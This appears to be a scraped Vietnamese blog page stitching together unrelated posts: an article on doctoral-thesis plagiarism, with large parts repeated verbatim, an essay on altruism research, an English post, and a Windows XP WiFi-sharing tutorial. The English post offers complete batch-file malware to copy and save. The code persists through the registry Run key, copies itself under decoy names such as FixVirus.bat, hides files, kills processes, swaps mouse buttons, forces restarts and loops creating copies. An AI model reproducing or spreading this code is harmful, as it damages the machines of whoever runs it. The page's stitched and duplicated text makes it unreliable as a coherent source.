Ông K. cho biết khi TS Mai Nhân lên tiếng, ông mới biết đã sử dụng luận văn của bà. “Tôi đã viết thư xin lỗi TS Nhân và sẽ mua lại toàn bộ sách đã xuất bản của mình còn lại ở các nhà sách. Nếu tái bản, tôi sẽ phải bỏ hoàn toàn những đoạn sử dụng trong luận văn của TS Nhân” - ông K. khẳng định. Ông K. cũng hứa sẽ in lại cả luận án TS, trong đó bổ sung phần trích dẫn những đoạn đã sử dụng luận văn của TS Mai Nhân.

Vô tư dùng cứ liệu của học trò

Luận án “So sánh một số đặc điểm cú pháp – ngữ nghĩa của tục ngữ tiếng Việt và tiếng Hàn” là một công trình khá công phu với phần trình bày cả tiếng Việt lẫn tiếng Hàn của tác giả T.

Một số chuyên gia nhận định đây là luận án nghiên cứu chuyên sâu liên quan trực tiếp đến kiến thức ngữ pháp – ngữ nghĩa không phải của câu văn bình thường mà là tục ngữ tiếng Hàn, chứng tỏ tác giả phải am hiểu chuyên sâu cả tiếng Việt và tiếng Hàn. Tuy nhiên, một số chuyên gia về tiếng Hàn đã chỉ ra rất nhiều lỗi trong luận án này mà một người biết tiếng Hàn ở trình độ sơ – trung cấp đều có thể phát hiện.

Trong luận án TS, tác giả T. lại sử dụng tài liệu tham khảo của không ít khóa luận tốt nghiệp của sinh viên liên quan đến tục ngữ. Thậm chí, luận văn của sinh viên được tác giả luận án đánh giá là “những ngữ liệu quan trọng” để sử dụng trong công trình bậc học TS của mình.

“Trong nghiên cứu khoa học, ai cũng biết một luật bất thành văn là luận án TS không thể nào trích dẫn, tham khảo tài liệu ở những công trình có học vị thấp hơn. Một luận án TS mà dựa trên nghiên cứu, quan điểm của sinh viên thì khó chấp nhận” - một chuyên gia về giáo dục sau ĐH nhận định.

Một giảng viên Việt Nam tại Hàn Quốc đã từng được TS T. nhờ sưu tầm, dịch một số tài liệu từ tiếng Hàn sang tiếng Việt cho luận án trên cho biết tác giả đã sử dụng phần dịch của bà ở nhiều cước chú nhưng không ghi tên, chức danh, học vị của bà. “Như vậy, sẽ không có căn cứ khoa học cho phần dịch này và người đọc sẽ hiểu chính tác giả là người dịch đoạn đó” - giảng viên này nhận xét.

Luận án của tác giả T. đã được bảo vệ thành công vào ngày 16-4-2007. Theo tìm hiểu của chúng tôi, hội đồng bảo vệ luận án gồm 7 người và… không ai thành thạo tiếng Hàn!

Đủ kiểu đạo văn

PGS-TS Trần Hữu Tá, nguyên chủ nhiệm Khoa Văn Trường ĐH Sư phạm TPHCM, thừa nhận tình trạng đạo luận án ngày càng tinh vi. “Học viên chỉ “luộc” cái khá, còn cái tồi thì không “luộc”. Bởi vậy, gặp những luận án hầu hết được viết rất thô thiển nhưng có đoạn lại bay bổng, trau chuốt là chúng tôi biết tác giả đã đạo văn” - PGS-TS Trần Hữu Tá cho biết.

PGS-TS Nguyễn Thiện Tống, Phó Hiệu trưởng Trường ĐH Cửu Long, nhận định có rất nhiều kiểu đạo văn khó phát hiện như ghi nguồn tham khảo nhưng lại không ghi rõ trích dẫn, trong đó xào xáo một phần tài liệu tham khảo, trộn với phần của mình hoặc pha trộn nhiều tài liệu tham khảo khác nhau thành của mình; thay đổi từ ngữ nhưng ý tứ thì ăn cắp…

Ngoài ra, còn có các kiểu đạo văn trắng trợn như “cóp” nguyên xi của người khác mà không cho vào ngoặc kép và ghi nguồn trích dẫn; trích dẫn thật nhiều đoạn khác nhau mà không có chữ nào của mình.... “Dùng bất cứ tài liệu nào của người khác mà không ghi nguồn đều được coi là đạo văn và vi phạm Luật Bản quyền” - PGS-TS Nguyễn Thiện Tống nhìn nhận. Ông Tống cũng cho rằng đạo văn dù ở dạng nào cũng là hành vi “đánh lừa”, “ăn cắp nguy hiểm”, cần phải lên án và loại bỏ.

Dù biết đạo văn là không thể chấp nhận trong nghiên cứu khoa học nhưng nhiều luận án “luộc” đã qua mắt được hội đồng bảo vệ. Một PGS từng là thành viên trong hội đồng bảo vệ nhiều luận án TS cho biết có rất nhiều trường hợp trong luận án không đạo từng đoạn mà chỉ đạo từng câu nên rất khó phát hiện. Bên cạnh đó, học viên thường sử dụng nhiều nguồn tài liệu khác nhau mà không phải lúc nào thành viên hội đồng cũng có thể tham khảo hết nguồn tài liệu đó.

Quy trình kín mà hở

Một nguyên nhân khác khiến việc đạo văn trong các luận án TS vẫn có đất sống, theo PGS-TS Trần Hữu Tá, là do quy trình làm luận án chưa có khâu kiểm tra cụ thể. Luận án TS hiện được làm theo các bước: Học viên nhận đề tài, thực hiện trong 3 năm cùng thầy hướng dẫn; sau đó nộp, bảo vệ cấp cơ sở, góp ý sửa chữa, phản biện độc lập, bảo vệ trước hội đồng… PGS-TS Trần Hữu Tá cho rằng quy trình này đã tạo ra kẽ hở để học viên không học vẫn có luận án, rồi có bằng TS.

PGS-TS Trần Hữu Tá kể lại một trường hợp học viên bảo vệ luận án về nghệ thuật trào phúng trong tiểu thuyết Vũ Trọng Phụng. Luận án rất tốt nhưng thành viên hội đồng nghi ngờ đạo văn liền đề nghị học viên tóm tắt tiểu thuyết Số đỏ trong vòng 5-10 phút - một yêu cầu đơn giản mà học sinh THPT có thể làm được. Thế nhưng, học viên bảo vệ luận án TS này lại ấm ớ rồi cúi đầu!

Một chuyên gia giáo dục sau ĐH cũng cho biết khâu phản biện độc lập hiện kín mà chưa kín. Nhiều khi ông đang thực hiện phản biện độc lập nhưng lại có điện thoại gửi gắm, kiểu: “Học trò của mình đấy, chiếu cố chút nhé”! Theo chuyên gia này, những luận án lôm côm hoặc có đạo văn có thể phát hiện được nhưng vẫn tồn tại quan niệm “luận án là lý bên trong có tình” nên đôi khi nhắm mắt cho qua mà trong lòng ngao ngán. Quá trình làm và bảo vệ luận án tưởng chặt nhưng lại hở, đôi khi tưởng là thứ thiệt mà lại dỏm.

PGS-TS Trần Hữu Tá cho rằng để ngăn ngừa nạn đạo văn, quy trình làm và bảo vệ luận án TS cần chặt chẽ, nghiêm ngặt hơn, tránh những đề tài na ná nhau nhưng vẫn được thực hiện. Trong quá trình thực hiện cần có những đợt kiểm tra kiến thức cơ bản liên quan đến đề tài mà học viên đang theo đuổi. Nghiên cứu sinh phải tập trung tại trường ít nhất 3 lần để làm chuyên đề kiểm tra tại chỗ.

Ngoài ra, học viên cần phải có những buổi thuyết trình về đề tài trong quá trình thực hiện luận án. Nếu không chuẩn bị, không có kiến thức mà đi “đạo” của người khác thì không thể nào đáp ứng được các kỳ kiểm tra tại chỗ và các buổi thuyết trình. Bên cạnh đó, phải có biện pháp chế tài đối với các trường hợp luận án bị phát hiện đạo văn.

“Nguyên tắc nghiên cứu khoa học, khi đã sử dụng dù chỉ một từ vẫn phải có trích dẫn chữ dùng của ai. Trong khi đó, ông K. dùng nguyên văn khá nhiều đoạn trong luận văn của tôi mà không hề có một dòng trích dẫn thì thật khó chấp nhận” - TS Mai Nhân bức xúc.

Trao đổi với phóng viên Báo Người Lao Động, ông K. lý giải khi làm luận án TS - cách đây 15 năm - ông còn rất trẻ, chưa có nhiều kinh nghiệm. “Tôi thừa nhận đã sơ suất khi dùng luận văn của TS Nhân mà không trích dẫn. Một người bạn đã photocopy giùm tôi cuốn tài liệu này nhưng lại không có bìa. Lúc đó, vấn đề tôi nghiên cứu còn có nhiều tranh cãi, tôi đọc được cuốn tài liệu này thấy rất tâm đắc nên sử dụng một số đoạn mà không biết tác giả là ai”.

Ông K. cho biết khi TS Mai Nhân lên tiếng, ông mới biết đã sử dụng luận văn của bà. “Tôi đã viết thư xin lỗi TS Nhân và sẽ mua lại toàn bộ sách đã xuất bản của mình còn lại ở các nhà sách. Nếu tái bản, tôi sẽ phải bỏ hoàn toàn những đoạn sử dụng trong luận văn của TS Nhân” - ông K. khẳng định. Ông K. cũng hứa sẽ in lại cả luận án TS, trong đó bổ sung phần trích dẫn những đoạn đã sử dụng luận văn của TS Mai Nhân.

Vô tư dùng cứ liệu của học trò

Luận án “So sánh một số đặc điểm cú pháp – ngữ nghĩa của tục ngữ tiếng Việt và tiếng Hàn” là một công trình khá công phu với phần trình bày cả tiếng Việt lẫn tiếng Hàn của tác giả T.

Một số chuyên gia nhận định đây là luận án nghiên cứu chuyên sâu liên quan trực tiếp đến kiến thức ngữ pháp – ngữ nghĩa không phải của câu văn bình thường mà là tục ngữ tiếng Hàn, chứng tỏ tác giả phải am hiểu chuyên sâu cả tiếng Việt và tiếng Hàn. Tuy nhiên, một số chuyên gia về tiếng Hàn đã chỉ ra rất nhiều lỗi trong luận án này mà một người biết tiếng Hàn ở trình độ sơ – trung cấp đều có thể phát hiện.

Trong luận án TS, tác giả T. lại sử dụng tài liệu tham khảo của không ít khóa luận tốt nghiệp của sinh viên liên quan đến tục ngữ. Thậm chí, luận văn của sinh viên được tác giả luận án đánh giá là “những ngữ liệu quan trọng” để sử dụng trong công trình bậc học TS của mình.

“Trong nghiên cứu khoa học, ai cũng biết một luật bất thành văn là luận án TS không thể nào trích dẫn, tham khảo tài liệu ở những công trình có học vị thấp hơn. Một luận án TS mà dựa trên nghiên cứu, quan điểm của sinh viên thì khó chấp nhận” - một chuyên gia về giáo dục sau ĐH nhận định.

Một giảng viên Việt Nam tại Hàn Quốc đã từng được TS T. nhờ sưu tầm, dịch một số tài liệu từ tiếng Hàn sang tiếng Việt cho luận án trên cho biết tác giả đã sử dụng phần dịch của bà ở nhiều cước chú nhưng không ghi tên, chức danh, học vị của bà. “Như vậy, sẽ không có căn cứ khoa học cho phần dịch này và người đọc sẽ hiểu chính tác giả là người dịch đoạn đó” - giảng viên này nhận xét.

Luận án của tác giả T. đã được bảo vệ thành công vào ngày 16-4-2007. Theo tìm hiểu của chúng tôi, hội đồng bảo vệ luận án gồm 7 người và… không ai thành thạo tiếng Hàn!

Đủ kiểu đạo văn

PGS-TS Trần Hữu Tá, nguyên chủ nhiệm Khoa Văn Trường ĐH Sư phạm TPHCM, thừa nhận tình trạng đạo luận án ngày càng tinh vi. “Học viên chỉ “luộc” cái khá, còn cái tồi thì không “luộc”. Bởi vậy, gặp những luận án hầu hết được viết rất thô thiển nhưng có đoạn lại bay bổng, trau chuốt là chúng tôi biết tác giả đã đạo văn” - PGS-TS Trần Hữu Tá cho biết.

PGS-TS Nguyễn Thiện Tống, Phó Hiệu trưởng Trường ĐH Cửu Long, nhận định có rất nhiều kiểu đạo văn khó phát hiện như ghi nguồn tham khảo nhưng lại không ghi rõ trích dẫn, trong đó xào xáo một phần tài liệu tham khảo, trộn với phần của mình hoặc pha trộn nhiều tài liệu tham khảo khác nhau thành của mình; thay đổi từ ngữ nhưng ý tứ thì ăn cắp…

Ngoài ra, còn có các kiểu đạo văn trắng trợn như “cóp” nguyên xi của người khác mà không cho vào ngoặc kép và ghi nguồn trích dẫn; trích dẫn thật nhiều đoạn khác nhau mà không có chữ nào của mình.... “Dùng bất cứ tài liệu nào của người khác mà không ghi nguồn đều được coi là đạo văn và vi phạm Luật Bản quyền” - PGS-TS Nguyễn Thiện Tống nhìn nhận. Ông Tống cũng cho rằng đạo văn dù ở dạng nào cũng là hành vi “đánh lừa”, “ăn cắp nguy hiểm”, cần phải lên án và loại bỏ.

Dù biết đạo văn là không thể chấp nhận trong nghiên cứu khoa học nhưng nhiều luận án “luộc” đã qua mắt được hội đồng bảo vệ. Một PGS từng là thành viên trong hội đồng bảo vệ nhiều luận án TS cho biết có rất nhiều trường hợp trong luận án không đạo từng đoạn mà chỉ đạo từng câu nên rất khó phát hiện. Bên cạnh đó, học viên thường sử dụng nhiều nguồn tài liệu khác nhau mà không phải lúc nào thành viên hội đồng cũng có thể tham khảo hết nguồn tài liệu đó.

Quy trình kín mà hở

Một nguyên nhân khác khiến việc đạo văn trong các luận án TS vẫn có đất sống, theo PGS-TS Trần Hữu Tá, là do quy trình làm luận án chưa có khâu kiểm tra cụ thể. Luận án TS hiện được làm theo các bước: Học viên nhận đề tài, thực hiện trong 3 năm cùng thầy hướng dẫn; sau đó nộp, bảo vệ cấp cơ sở, góp ý sửa chữa, phản biện độc lập, bảo vệ trước hội đồng… PGS-TS Trần Hữu Tá cho rằng quy trình này đã tạo ra kẽ hở để học viên không học vẫn có luận án, rồi có bằng TS.

PGS-TS Trần Hữu Tá kể lại một trường hợp học viên bảo vệ luận án về nghệ thuật trào phúng trong tiểu thuyết Vũ Trọng Phụng. Luận án rất tốt nhưng thành viên hội đồng nghi ngờ đạo văn liền đề nghị học viên tóm tắt tiểu thuyết Số đỏ trong vòng 5-10 phút - một yêu cầu đơn giản mà học sinh THPT có thể làm được. Thế nhưng, học viên bảo vệ luận án TS này lại ấm ớ rồi cúi đầu!

Một chuyên gia giáo dục sau ĐH cũng cho biết khâu phản biện độc lập hiện kín mà chưa kín. Nhiều khi ông đang thực hiện phản biện độc lập nhưng lại có điện thoại gửi gắm, kiểu: “Học trò của mình đấy, chiếu cố chút nhé”! Theo chuyên gia này, những luận án lôm côm hoặc có đạo văn có thể phát hiện được nhưng vẫn tồn tại quan niệm “luận án là lý bên trong có tình” nên đôi khi nhắm mắt cho qua mà trong lòng ngao ngán. Quá trình làm và bảo vệ luận án tưởng chặt nhưng lại hở, đôi khi tưởng là thứ thiệt mà lại dỏm.

PGS-TS Trần Hữu Tá cho rằng để ngăn ngừa nạn đạo văn, quy trình làm và bảo vệ luận án TS cần chặt chẽ, nghiêm ngặt hơn, tránh những đề tài na ná nhau nhưng vẫn được thực hiện. Trong quá trình thực hiện cần có những đợt kiểm tra kiến thức cơ bản liên quan đến đề tài mà học viên đang theo đuổi. Nghiên cứu sinh phải tập trung tại trường ít nhất 3 lần để làm chuyên đề kiểm tra tại chỗ.

Ngoài ra, học viên cần phải có những buổi thuyết trình về đề tài trong quá trình thực hiện luận án. Nếu không chuẩn bị, không có kiến thức mà đi “đạo” của người khác thì không thể nào đáp ứng được các kỳ kiểm tra tại chỗ và các buổi thuyết trình. Bên cạnh đó, phải có biện pháp chế tài đối với các trường hợp luận án bị phát hiện đạo văn.


Thiện tâm ở tại lòng ta

Thiện tâm ở tại lòng ta

Friday, April 22, 2011

http://www.diendantheky.net/2011/04/thien-tam-o-tai-long-ta.html

Ngô Nhân Dụng

Mấy năm trước, mục này đăng một bài với đề tài: Thiện vẫn hơn Ác. Một vị độc giả Người Việt là Bác sĩ Henny Nguyễn đã chọn đọc lại bài đó trong chương trình phát thanh Niềm Vui Mới nhân dịp Lễ Phục sinh này. Đây là cơ hội để chúng ta cùng nhìn lại đề tài đó, để nuôi nấng niềm tin vào cái Thiện.

Nội dung bài Thiện vẫn hơn Ác nhắc đến một cuộc nghiên cứu khoa học in trên Tạp chí Nature năm 2008 trình bầy kết quả một cuộc thí nghiệm của Giáo sư Martin Nowak ở Đại học Harvard, kết luận rằng, trong đời sống loài người, sau cùng ai ăn ở thiện vẫn “có lợi” hơn là những người sống với cái ác. Con người hướng về điều thiện, đó là một bẩm tính có thể chứng minh theo phương pháp khoa học được. Cũng giống như các loài chim thiên di mỗi mùa Thu bay về phương Nam bao giờ cũng bay từng đàn chứ không con chim nào bay riêng lẻ, loài người làm việc thiện vì đó là “sách lược tối ưu” cho cả chủng loại. Trải qua hàng triệu, hàng tỷ năm, mỗi loài sinh vật có những thói quen được tích tụ và truyền cho các thế hệ sau để tự bảo toàn, trong loài người Sống Thiện là một “chọn lọc tự nhiên,” đã trở thành di truyền.

Môn sinh học, khi nói đến “chọn lọc theo thiên nhiên” (natural selection) thì người ta nghĩ tới những sinh vật ích kỷ giành lấy tài nguyên cho chính mình, thắng thế với các đồng loại. Nhưng bây giờ thì các nhà nghiên cứu lại chú ý đến những hệ thống sinh học được tổ chức trên quy tắc cộng tác và vị tha, đặc biệt là trong xã hội loài người. Những cuộc nghiên cứu trên đề tài này hiện nay rất phổ biến và có những khám phá rất đáng chú ý. Từ phạm vi sinh học, người ta dùng cùng một phương pháp để nghiên cứu về kinh tế, xã hội học, và đạo đức học.

Hai giáo sư Claus Wedekind và Manfred Milinski ở Đại học Bern, đã làm một cuộc thí nghiệm về tính thiện của con người, bản báo cáo của họ vào năm 2000 nay đã trở thành một công trình “cổ điển.” Làm việc thiện tức là việc ích lợi cho người khác, và thế nào mình cũng chịu tốn kém một chút nào đó. Mục đích cuộc thí nghiệm của hai ông là xem tại sao có nhiều người thích làm việc thiện dù không được đáp lại. Hai ông dùng một lý thuyết sinh học là “đền đáp gián tiếp” (indirect reciprocity).

Bình thường, ai làm việc tốt cho mình thì chúng ta báo đáp. Trong quan hệ trực tiếp giữa hai cá nhân, hiện tượng vay trả, đáp ứng (reciprocity), có đi có lại, là chuyện thường diễn ra và dễ hiểu. Nhưng chúng ta cũng hay làm những việc tốt lành cho những người hoàn toàn hoàn toàn xa lạ; cho những người mình chỉ gặp gỡ tình cờ và không nghĩ trong đời sẽ còn gặp lại.

Tại sao người ta làm việc thiện “không cần đáp ứng” cho người lạ như vậy? Các nhà xã hội học thử đoán nguyên do theo lối thuần lý. Họ giả thiết là loài người ai cũng lo cho lợi ích của chính mình. Do đó có một lý do khiến mọi người làm việc tốt cho người khác mà không cần được đáp lại trực tiếp, là làm việc thiện sẽ tạo được tiếng tốt cho mình; nhờ được tiếng tốt đó mà sẽ được người khác tin, rồi sẽ làm việc tốt cho mình. Các nhà nghiên cứu gọi đây là hiện tượng “đền đáp gián tiếp” (indirect reciprocity). Trong văn hóa Việt Nam chúng ta còn tin là khi làm việc thiện thì sẽ tạo được phước đức, dù mình không được xã hội đền đáp trong đời này thì đến đời con, đời cháu cũng sẽ được đền đáp gián tiếp. Cả xã hội loài người có một guồng máy phân bố phước đức, có thể coi như một thị trường cho chúng ta đầu tư phúc đức. Mỗi người sinh ra đều nhận được một di sản Phúc Đức do ông bà để lại, mình có thể được hưởng và đóng góp thêm vào kho phước đức đó cho đời sau! Niềm tin đơn giản đó giúp cả xã hội cùng tốt lành, có lẽ vì thế mà người Việt Nam cứ giữ niềm tin đó suốt bao nhiêu thế hệ! Nói theo lối thuyết tiến hóa, những thói quen nào có ích lợi cho cả chủng loại thường được lưu giữ trong phong tục, tập quán, thấm nhuần trong nền văn hóa.

Nói đến luật tiến hóa là người ta nghĩ đến quy tắc “cạnh tranh để sinh tồn;” nhờ mỗi sinh vật cố gắng giành phần lợi ích về tay mình cho nên cả xã hội được thúc đẩy tiến tới. Sống trải qua hàng triệu năm, những hành vi, thái độ và tính toán mà một sinh vật tập được để tự bảo tồn sự sống của mình, dần dần trở thành những thói quen tự nhiên. Những thói quen nào giúp bảo vệ chủng loại sẽ được truyền qua nhiều thế hệ, dần dần được coi là bản tính. Ngược lại, những hành vi, thái độ nào không có lợi cho chủng loại thì sẽ không được truyền lại vì những sinh vật mang các thói quen đó sẽ dần dần biến mất.

Thí dụ khi quan sát một giống ong, người ta thấy những con ong thợ khi đến hút mật hoa trên một loại cây luôn luôn chọn hút các bông hoa từ dưới gốc cây rồi đi dần lên trên. Khi khảo sát người ta thấy những bông hoa ở phía dưới thường chứa nhiều mật hơn. Từ bản năng, các con ong đã biết lựa chọn một “giải pháp tối ưu!” Mặt khác, khi một con ong bay tới, sà vào một bông hoa mà thấy có “dấu chân” của một con ong khác đã tới thăm bông hoa đó rồi, thì rời bỏ cả cái cây đó luôn, không thử dò tìm các bông hoa khác trên cùng một cây nữa. Làm như vậy cũng là “lựa chọn tối ưu” vì về lâu về dài sẽ tiết kiệm được nhiều thời giờ.

Chắc không phải những con ong thợ này đã được huấn luyện trong tổ trước về “đường lối,” “chính sách,” và phương pháp quyết định “giải pháp tối ưu” trước khi cho đi “làm công tác”? Thói quen đó có thể giải thích bằng thuyết tiến hoá. Trong hàng tỷ năm cuộc đời của loài ong, những con ong có thói quen tốt này thì được sống lâu hơn, đông hơn, có cơ hội tồn tại và truyền giống; trải qua hàng tỷ thế hệ ong, nghệ thuật tìm mật hoa này đã biến thành những đặc tính bẩm sinh.

Trước đây khi nghiên cứu về diễn trình tiến hóa của các sinh vật và của loài người, người ta chỉ giả thiết ai cũng có thói vị kỷ, ganh đua, nhưng không mấy người chú ý đến vai trò của óc vị tha, của lòng từ ái. Nói chung là khi nghiên cứu thuyết tiến hóa người ta thiên về mặt duy lợi, vị kỷ mà không chú ý về Cái Thiện. Nếu đặt trọng tâm trên sự cộng tác giữa các cá nhân trong một giống sinh vật, người ta chỉ chú ý tới những hành động hy sinh của cá thể để bảo tồn giòng giống của chủng loại; một thứ bản năng có tính sinh học. Trong khi đó, một điều ai cũng phải thấy là tất cả các nền văn minh trong lịch sử đều đề cao Cái Thiện, thúc đẩy sự cộng tác giữa mọi người và ngăn ngừa tánh ích kỷ hại nhân.

Hai giáo sư người Thụy Sĩ Claus Wedekind và Manfred Milinski đã bầy ra một “trò chơi” nhờ các sinh viên tham dự vào một cuộc thí nghiệm để tìm hiểu hiện tượng “đền đáp gián tiếp” có thật sự thể hiện hay không. Họ được 80 sinh viên cộng tác, mỗi người ngồi trước máy điện toán, coi như được phát một số đồng Franc tiền Thụy Sĩ. Họ có quyền phát tiền cho một người bạn tham dự cuộc chơi. Mỗi lần mỗi sinh viên lại cho tiền một người khác nhau, mỗi người chơi không biết ai là “đối tác” của mình; trên màn ảnh máy vi tính chỉ biết là đối tác đó đã từng phát tiền cho người khác bao nhiêu lần.

Kết quả cho thấy thuyết “đền đáp gián tiếp” (indirect reciprocity) được thể hiện. Nếu thuyết đó không đúng, tức là các sinh viên quyết định đem tặng tiền cho người khác một cách hoàn toàn ngẫu nhiên, thì khi trò chơi kết thúc, số tiền vốn của mọi người sẽ gần như bằng nhau. Nhưng sau cùng, khi tổng kết xem mỗi người còn bao nhiêu tiền, người ta thấy những sinh viên nào hay đem tiền cho người khác nhất cũng là những sinh viên nhận được nhiều hơn các bạn khác.

Nhưng tất nhiên trong nhân loại có những người vị tha hơn người khác, và ngược lại có người thường chỉ nghĩ đến mình. Hành vi của họ khác nhau như thế nào khi biết rằng những người có tiếng vị tha có thể được đền đáp?

Một cuộc nghiên cứu khác, công bố năm 2008 trên tạp chí Social Psychology Quarterly, của hai giáo sư Brent Simpson và Robb Willer ở Mỹ, đã tìm hiểu kỹ hơn về tác phong của con người trong hoàn cảnh có sự đền đáp gián tiếp. Trong thí nghiệm này, người ta trắc nghiệm trước các đối tượng để xếp loại những người có khuynh hướng vị kỷ trong một nhóm, nhóm kia là những người được xếp loại vị tha. Khi tham dự cuộc chơi mà biết rằng các hành động thiện trong tương lai có thể được đền đáp thì những người vị kỷ phản ứng rất tích cực. Ngược lại, những người vốn tính vị tha thì dù biết sau này có được đền đáp hay không, họ cũng không chịu ảnh hưởng. Như vậy nghĩa là hành động hoàn toàn vị tha là có thật; nhưng nhân loại không phải ai cũng vị tha. Thí nghiệm thêm lần nữa, hai tác giả thấy rằng khi được chứng ai có hành động thiện, thì những người vị tha thường ‘tưởng thưởng” cho những người thiện đó nhiều hơn những người có tính vị kỷ qua việc đền đáp gián tiếp.

Tạp chí Games and Economic Behavior tháng 11 năm 2009 đăng kết quả cuộc nghiên cứu của ba giáo sư ở Âu châu, họ chia các đối tượng nghiên cứu làm hai nhóm, một nửa thì mỗi lần “làm việc thiện” đều được báo cho mọi người biết, một nửa thì hoàn toàn không. Kết quả cho thấy trong xã hội quả thật có hiện tượng thuần túy “đền đáp gián tiếp.” Nhưng bên cạnh đó cũng có những người làm điều thiện vị tính toán hơn thiệt.

Nhiều quý vị nghe những câu chuyện trên sẽ thấy là kết quả của những cuộc nghiên cứu mới kể thật ra không có gì lạ. Nếu vậy thì rất đáng mừng. Không thấy gì mới lạ, nghĩa là chúng ta không cần phải mất công bầy ra các cuộc nghiên cứu (hàng ngàn cuộc nghiên cứu đã thực hiện) chỉ để biết một điều mà ai cũng đã tin là đúng từ lâu rồi: “Thiện tâm ở tại lòng ta.”

In this post i am going to give you dangerous virus code which is written in Batch Programming language.

In this post i am going to give you dangerous virus code which is written in Batch Programming language.

Virus can do:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer

copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).

Here is the Code:

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

Tags: S

Monday, April 18, 2011

Share Internet qua Wifi trên Windows XP!

Share Internet qua Wifi trên Windows XP!
http://forum.athena.edu.vn/wireless-mobile-palm-pocket-pc/64-share-internet-qua-wifi-tren-windows-xp.html

Bước 1: Tạo kết nối Ad-hoc trên Windows XP



Bước 2: Kết nối máy tính thứ 2 vào Ad-hoc đã tạo



Bước 3: Tạo cầu trên Máy Ad-hoc




- Quét chọn card mạng cần Brigde (card LAN và card Wi-fi) click phải chuột chọn dòng “Brigde connection” trên Menu.
Bước 4: Connect lại vào Ad-hoc và kiểm tra
Dùng lệnh Ping để kiểm tra tín hiệu mạng!

Lưu ý: Tạo Ad-hoc trước khi tạo Brigde, vì khi đã Brigde rồi thì không thể tạo Ad-hoc được nữa. Trong trường hợp này ta để mặc định cho Modem cấp IP thông qua DHCP, với 1 vài trường hợp khác các bạn phải cấu hình IP tĩnh cho các card mạng trước khi cấu hình!
Chúc các bạn thành công!